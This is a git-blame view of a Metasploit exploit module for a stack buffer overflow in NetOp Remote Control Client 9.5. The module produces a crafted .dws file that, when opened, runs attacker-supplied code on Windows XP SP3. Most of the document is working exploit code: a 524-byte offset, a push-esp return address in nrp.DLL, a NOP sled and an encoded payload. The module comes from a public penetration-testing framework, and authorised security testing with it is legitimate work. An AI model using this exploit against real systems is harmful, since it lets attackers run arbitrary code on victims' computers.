Files
metasploit-gs/modules/exploits/windows/fileformat/netop.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

76 lines
2.0 KiB
Ruby
Raw Normal View History

2012-04-05 10:33:29 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-04-05 10:33:29 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-04-05 10:33:29 -05:00
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'NetOp Remote Control Client 9.5 Buffer Overflow',
'Description' => %q{
2012-04-05 10:33:29 -05:00
This module exploits a stack-based buffer overflow in NetOp Remote Control 9.5.
2025-06-20 13:20:44 +01:00
When opening a .dws file containing a specially crafted string longer then 520
characters will allow an attacker to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [
2012-04-05 10:33:29 -05:00
'Ruben Alejandro "chap0"',
],
2025-06-20 13:20:44 +01:00
'References' => [
[ 'OSVDB', '72291' ],
2012-04-19 23:53:32 -05:00
[ 'EDB', '17223' ]
2012-04-05 10:33:29 -05:00
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
'EXITFUNC' => 'process',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => true
2012-04-05 10:33:29 -05:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Payload' => {
2012-04-05 10:33:29 -05:00
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'StackAdjustment' => -3500
},
2025-06-20 13:20:44 +01:00
'Targets' => [
[
'Windows XP SP3',
2012-04-05 10:33:29 -05:00
{
2025-06-20 13:20:44 +01:00
'Ret' => 0x20d6c32c, # push esp # ret - nrp.DLL
2012-04-05 10:33:29 -05:00
'Offset' => 524
}
]
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DisclosureDate' => '2011-04-28',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2012-04-05 10:33:29 -05:00
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']),
2025-06-20 13:20:44 +01:00
]
)
2012-04-05 10:33:29 -05:00
end
def exploit
2025-06-20 13:20:44 +01:00
buffer = rand_text(target['Offset'])
2012-04-05 10:33:29 -05:00
buffer << [target.ret].pack('V')
buffer << make_nops(30)
buffer << payload.encoded
file_create(buffer)
end
end